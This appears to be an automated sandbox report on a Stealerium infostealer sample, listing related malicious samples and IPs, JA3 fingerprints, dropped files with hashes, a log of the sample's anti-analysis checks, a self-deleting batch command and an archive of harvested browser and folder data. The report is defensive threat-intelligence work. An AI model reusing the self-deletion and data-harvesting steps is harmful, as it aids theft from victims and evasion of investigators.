	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	AWB8674109965.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
AMAZON-AESUS	http://comgeotetra.sytes.net	Get hash	malicious	HTMLPhisher	Browse	3.220.53.221
	botx.mips.elf	Get hash	malicious	Mirai	Browse	52.5.93.77
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	52.20.41.38
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	3.210.246.148
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	18.208.8.205
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	50.17.0.11
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.213.123.165
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	18.208.8.205
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	44.219.138.3
CLOUDFLARENETUS	https://docs.zoom.us/doc/nOwDrP_BRFeNjNel8fAbXg	Get hash	malicious	Unknown	Browse	104.18.95.41
	LBswoftSFF.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	3lpDhNtVKt.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	dAkpFjNw3j.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://comgeotetra.sytes.net	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	104.16.185.241
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	104.16.184.241
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	104.21.16.9
	https://www.upload.ee/files/17435967/DeltaAirLines_t.delta.com.txt.html	Get hash	malicious	Unknown	Browse	172.67.210.98

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	cY6HT7CeBF.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	lka01EskGw.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	ELsb0Wg55V.exe	Get hash	malicious	DcRat	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	lka01EskGw.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	Q99RpE5n5f.exe	Get hash	malicious	Stealerium	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	KaLWoqEX0y.exe	Get hash	malicious	Stealerium	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	Q99RpE5n5f.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244
	KaLWoqEX0y.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133 149.154.167.220 45.112.123.126 44.208.10.127 31.14.70.244

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	152
Entropy (8bit):	5.387523405293235
Encrypted:	false
SSDEEP:	3:HFTulK1shFn4vq9L2STtv/K025Paa4E2J5xAIKw4HoFtK92HHKyn:sgJvq9L2SZX2Pv23fKl52Dn
MD5:	C7846001400A1FA047008327B7B3420F
SHA1:	2526194BE5BA0B358D476322CDC3EFFD18AFE826
SHA-256:	C3555B759B31016BB7EB5C96055A5E871E751F63EA53651E81BB0FA986F220FE
SHA-512:	D60990779A8500F5858EEC4B826CEA0596E77FA5D9588330413F6DCC2BA7DD0B0DB0A52783B75518A5182E51B0A0227141943B0E25E9BD356C0D99E48797F7A4
Malicious:	false
Preview:	chcp 65001..taskkill /F /PID 7052..timeout /T 2 /NOBREAK > NUL..del /F /Q "C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat"..

C:\Users\user\AppData\Local\Temp\Stealerium-Latest.log

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	8657
Entropy (8bit):	5.420852526394154
Encrypted:	false
SSDEEP:	96:oU1fPGBeh2AzbzSzqCLCBCWxQauMZd5dsKPKGI9HdSPoAtDZtC4Iov5ziyu/kNk/:R1fPv/WWCYNL9FOtiis/Ki1hGeKN2VM
MD5:	DA35347114F41089D25065C3FD7C06A3
SHA1:	4E2AC5CAD035176BD57BD0C7DB18A805123A8C38
SHA-256:	629EE77D762B273E3F443DAA17D432DEC1FE3C7ADD3D95125ACF24E66A58683F
SHA-512:	6025FF42E5DA3AA61E4975C9E4D4636BAC11B31101E07B7ABB41F4B82F48E5522B6AA6ADBE11C8F6EFAE9833165EACD4A9E688C1FE7D93A6791D6F2D2B02C393
Malicious:	false
Preview:	[2024-11-29 06:18:32.090] HideFile : Adding 'hidden' attribute to file C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f..[2024-11-29 06:20:57.125] AntiAnalysis: Successfully loaded 'PCUsernames' list with 143 entries...[2024-11-29 06:20:57.156] AntiAnalysis: Successfully loaded 'GPUs' list with 99 entries...[2024-11-29 06:20:57.156] AntiAnalysis: Successfully loaded 'Processes' list with 2 entries...[2024-11-29 06:20:57.156] AntiAnalysis: Successfully loaded 'IPs' list with 203 entries...[2024-11-29 06:20:57.219] AntiAnalysis: Successfully loaded 'MachineGuids' list with 30 entries...[2024-11-29 06:20:57.219] AntiAnalysis: Successfully loaded 'PCNames' list with 230 entries...[2024-11-29 06:20:57.219] AntiAnalysis: Successfully loaded 'Services' list with 9 entries...[2024-11-29 06:31:10.465] AntiAnalysis: Failed to check IP addresses. Exception: No such host is known..[2024-11-29 06:31:10.497] HideFile : Adding 'hidden' attribute to file C:\Users\user\Desktop\yv7QsAR49V.

C:\Users\user\AppData\Local\Temp\tmpA382.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136505809365612
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9/Y4:MnlyfnGtxnfVuSVumEH9A4
MD5:	C41C3BD7028E12A3CE447F476E0DEA36
SHA1:	9F0BE7FFDB9A69A32AE337A9CC9FE4C8992E579F
SHA-256:	F7D257CB4D5A9E7461F5B26F5BAF62BE24CE3DB5284E0CAA5767CC261E4FA275
SHA-512:	0E0E55D5C8F17AA46699DDF58637E6FFE55FFA5242A7CE13E61F7E97170DDFA48F6FD1476D2F4BDFBE55A6C1D15FE0E4830124521ED4875BCF8A69671481BE6D
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA3B2.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA3C3.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpADAB.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpADBC.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136505809365612
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9/Y4:MnlyfnGtxnfVuSVumEH9A4
MD5:	C41C3BD7028E12A3CE447F476E0DEA36
SHA1:	9F0BE7FFDB9A69A32AE337A9CC9FE4C8992E579F
SHA-256:	F7D257CB4D5A9E7461F5B26F5BAF62BE24CE3DB5284E0CAA5767CC261E4FA275
SHA-512:	0E0E55D5C8F17AA46699DDF58637E6FFE55FFA5242A7CE13E61F7E97170DDFA48F6FD1476D2F4BDFBE55A6C1D15FE0E4830124521ED4875BCF8A69671481BE6D
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpADEC.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1220068301579391
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8JoudpfjOLl:aq+n0E9ELyKOMq+8qu3SJ
MD5:	87EE0BBB38B11E14090EF60A7D56C8B1
SHA1:	37966F94007814B687989937B4A299FA816581ED
SHA-256:	22CD1C8F26B721A19A1E9108D16AB419ABAD17D34ACDA62CAE3004014D88437E
SHA-512:	37572D4B5A336BC8220B9CF64F8F2D6041C68A449C582221C5C62A3BA1D8D4CA5C241C9383038EBF3D2787CF4AB9F7370E1A3C4AC7D6EC0A942FC41CD7917266
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpADFC.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1220068301579391
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8JoudpfjOLl:aq+n0E9ELyKOMq+8qu3SJ
MD5:	87EE0BBB38B11E14090EF60A7D56C8B1
SHA1:	37966F94007814B687989937B4A299FA816581ED
SHA-256:	22CD1C8F26B721A19A1E9108D16AB419ABAD17D34ACDA62CAE3004014D88437E
SHA-512:	37572D4B5A336BC8220B9CF64F8F2D6041C68A449C582221C5C62A3BA1D8D4CA5C241C9383038EBF3D2787CF4AB9F7370E1A3C4AC7D6EC0A942FC41CD7917266
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB787.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB805.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC19F.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037108489901028344
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/HNZglJq0nWE+SCI:58r54w0VW3xW/nglzF
MD5:	0F96E012A7499CA525557B94E1BB7FD1
SHA1:	08F9B3152BFAFF4BF9B99DB15F98482C3DA1E851
SHA-256:	CE9AF43D2C3ECEFE496546796F699C9247A210EF679E260E2E2931D6D5145BF1
SHA-512:	4A1A674C45B91EE4D0C560396CE318D5E2BD0F6AC43FA7CA791F48FA7942AD87D2F723320F2D42509C92445003C9AC981E451BDA9E9AD571BCF8365E1434ED38
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCA01.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD0DC.tmp.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037108489901028344
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/HNZglJq0nWE+SCI:58r54w0VW3xW/nglzF
MD5:	0F96E012A7499CA525557B94E1BB7FD1
SHA1:	08F9B3152BFAFF4BF9B99DB15F98482C3DA1E851
SHA-256:	CE9AF43D2C3ECEFE496546796F699C9247A210EF679E260E2E2931D6D5145BF1
SHA-512:	4A1A674C45B91EE4D0C560396CE318D5E2BD0F6AC43FA7CA791F48FA7942AD87D2F723320F2D42509C92445003C9AC981E451BDA9E9AD571BCF8365E1434ED38
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH.zip

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	153370
Entropy (8bit):	7.932910590151725
Encrypted:	false
SSDEEP:	3072:jlv+FhcSYZTTlyUwB6DiU5Qrrxy4ZbBhaE0+2qAPdFIQtMp4C:V+hMRm6Hsxy4lGDoQHC
MD5:	3D9952CA2B820A3282CA6C7B048CCE19
SHA1:	AAF778A17FF4CBA9FE94E95D235B25CACF30FD53
SHA-256:	0F0C47231DA2AA046DF25D12A1FAF44FD2C6F1104F62C05464BAAFAD1B7C6646
SHA-512:	33711A0FAE9937A8FFF1E69F403DD90ADD35F408E06AC860FF934659941BB0DD51C478CCE953AEC8D68607D85154B2961F8DEAD98C183C4AB7ABF89731D97236
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH.zip, Author: Joe Security
Preview:	PK........T2}Y................Browsers/Edge/History.txt..1.g...!.PK........U2}Yq.C]t...........Browsers/Firefox/Bookmarks.txt.6.#...z.p.....:..s....nJ.m4e<......3;...~...'....Ru.5..).....,?\|.A.b`.zE.x>3.....)..Ey.C.cC........3....mE(.gW.PK..q.C]t.......PK........U2}Y................Browsers/Firefox/History.txt...r6.J"...PK........T2}Y................Browsers/Google/Downloads.txtKX..=xo.4..'PK........T2}Y................Browsers/Google/History.txt....f.>z..!.PK........T2}Y.I1.M...5.......Directories/Desktop.txt6A+@.>;....2.......x.3GV..&..=.Vjy....L... .4....s.L.....0S.Q.".;2..?....\5F.....R.......zR..i.vY..W.......1E1..\|p..... i.......\........7..n..x..M.H.{.....Y.C.a.....i....i..6./..I..R.7D..%.....OGO.......}h......^.............7p.._..S;....%....Yn:r....W.Ez!..Z.....k.x.i..M..qUr..U.....T.\|G\|.....O..$..[.H;..G. ....PK...I1.M...5...PK........T2}Y0]A.p...........Directories/Documents.txt.>!.!..x...I....F,_u...].Dg4}3.j&..5...).,.B.8..AOd[}T.....&b.b......'

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	220
Entropy (8bit):	4.546534105739819
Encrypted:	false
SSDEEP:	6:Kw5FBeKjMnf3eKj5ZKMeKjYLC/eKjtyRE2YReK3:KCBH4n/HHKMHsL0HMRE2uH3
MD5:	2AB1FD921B6C195114E506007BA9FE05
SHA1:	90033C6EE56461CA959482C9692CF6CFB6C5C6AF
SHA-256:	C79CFDD6D0757EB52FBB021E7F0DA1A2A8F1DD81DCD3A4E62239778545A09ECC
SHA-512:	4F0570D7C7762ECB4DCF3171AE67DA3C56AA044419695E5A05F318E550F1A910A616F5691B15ABFE831B654718EC97A534914BD172AA7A963609EBD8E1FAE0A5
Malicious:	false
Preview:	Title: Get Help.URL: (No URL provided)..Title: Customize Firefox.URL: (No URL provided)..Title: Get Involved.URL: (No URL provided)..Title: About Us.URL: (No URL provided)..Title: Getting Started.URL: (No URL provided)..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	821
Entropy (8bit):	5.240088914821043
Encrypted:	false
SSDEEP:	24:scxp0GO/y87e1vszmuPnmUqHpPyy10zv12PS9Uvsyr:scxaGH8GvszmGvqHpPyy2zvksUvsM
MD5:	A9292E4E0A59F6C95BEFE0D14394B600
SHA1:	BFFB90D046936F12876AA93C0EAE8DDE5269425B
SHA-256:	CB97032E0916A9D458FC447015C415471410BA7A63E2A11BD6B0647714290332
SHA-512:	22D85ABCDA97A83464AD332C392D73BDFFC68F4CDC9BBFF1A9E601C28D8613D6AEA982C3B4C3D956994A7B60E86D21D140A90B0FABC4F4A2DCB2FC76F5A4555C
Malicious:	false
Preview:	Desktop\...GIGIYTFFYT\...GRXZDKKVDB\...IPKGELNTQY\....GAOBCVIQIJ.png....IPKGELNTQY.docx....LSBIHQFDVT.pdf....NEBFQQYWPS.xlsx....QNCYCDFIJJ.mp3....ZQIXMVQGAH.jpg...LSBIHQFDVT\....EFOYFBOLXA.png....LSBIHQFDVT.docx....PALRGUCVEH.mp3....QNCYCDFIJJ.xlsx....SQSJKEBWDT.jpg....SUAVTZKNFL.pdf...NEBFQQYWPS\....NEBFQQYWPS.docx....PIVFAGEAAV.png....PWCCAWLGRE.jpg....QNCYCDFIJJ.pdf....SQSJKEBWDT.mp3....ZQIXMVQGAH.xlsx...NVWZAPQSQL\...PWCCAWLGRE\...QCFWYSKMHA\...ZGGKNSUKOP\...desktop.ini...EFOYFBOLXA.png...Excel.lnk...GAOBCVIQIJ.png...IPKGELNTQY.docx...LSBIHQFDVT.docx...LSBIHQFDVT.pdf...NEBFQQYWPS.docx...NEBFQQYWPS.xlsx...PALRGUCVEH.mp3...PIVFAGEAAV.png...PWCCAWLGRE.jpg...QNCYCDFIJJ.mp3...QNCYCDFIJJ.pdf...QNCYCDFIJJ.xlsx...SQSJKEBWDT.jpg...SQSJKEBWDT.mp3...SUAVTZKNFL.pdf...yv7QsAR49V.exe...ZQIXMVQGAH.jpg...ZQIXMVQGAH.xlsx..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	946
Entropy (8bit):	5.343924717197189
Encrypted:	false
SSDEEP:	24:Kcxp0GO/y87e1vs0xrqEEMmuPnmUqeVy10zv12PS9Uvss:KcxaGH8Gvs0BqEEMmGvqwy2zvksUvss
MD5:	A039272BDD55C602B1B350CEA91A6912
SHA1:	402C87CA340BE25BE61AF15F2E4169E918A28AF8
SHA-256:	ECE11091EF8B5933E56BCB28B352B375B9C68F5316E625DC213CA971185A6028
SHA-512:	1ADA9DC531A76C640DB93B2A9C8B1F4F945C58EBBB8817A14D0D3BF483FACB593D822E4B7441C812C2974B5B3139F538103ACAC8A8C9F044BA6161210D6F9D10
Malicious:	false
Preview:	Documents\...GIGIYTFFYT\...GRXZDKKVDB\...IPKGELNTQY\....GAOBCVIQIJ.png....IPKGELNTQY.docx....LSBIHQFDVT.pdf....NEBFQQYWPS.xlsx....QNCYCDFIJJ.mp3....ZQIXMVQGAH.jpg...LSBIHQFDVT\....EFOYFBOLXA.png....LSBIHQFDVT.docx....PALRGUCVEH.mp3....QNCYCDFIJJ.xlsx....SQSJKEBWDT.jpg....SUAVTZKNFL.pdf...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...NEBFQQYWPS\....NEBFQQYWPS.docx....PIVFAGEAAV.png....PWCCAWLGRE.jpg....QNCYCDFIJJ.pdf....SQSJKEBWDT.mp3....ZQIXMVQGAH.xlsx...NVWZAPQSQL\...PWCCAWLGRE\...QCFWYSKMHA\...ZGGKNSUKOP\...desktop.ini...EFOYFBOLXA.png...GAOBCVIQIJ.png...IPKGELNTQY.docx...LSBIHQFDVT.docx...LSBIHQFDVT.pdf...NEBFQQYWPS.docx...NEBFQQYWPS.xlsx...PALRGUCVEH.mp3...PIVFAGEAAV.png...PWCCAWLGRE.jpg...QNCYCDFIJJ.mp3...QNCYCDFIJJ.pdf...QNCYCDFIJJ.xlsx...SQSJKEBWDT.jpg...SQSJKEBWDT.mp3...SUAVTZKNFL.pdf...ZQIXMVQGAH.jpg...ZQIXMVQGAH.xlsx..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.258552599607692
Encrypted:	false
SSDEEP:	6:3tSLK5PbkED05jJt0HJt000ey2ePHiWD73UipmhjucNy8mhjuPSLmhjui3kLlmug:QLKeY09IHI00zvHiWPzpWiYvWiPSLWi2
MD5:	DDBF43EDA00830A24AAF3CE7CB154D8A
SHA1:	54A07E49ECBE7388CF22644BA493FBCC5B66A937
SHA-256:	8DA6354D2134EF353D747C96A8F707B0B3F5A01A02FB2260DE563B6C5C61D0D1
SHA-512:	A533CCBC2DCD6C0AEDB0C4AF0093C66A21A8B445DA93C1EE78B4894B6043CB4951148A76577D83DBA8F9657C42ADAA5F1337CE68856FA7264DF68D66FB6E8EE8
Malicious:	false
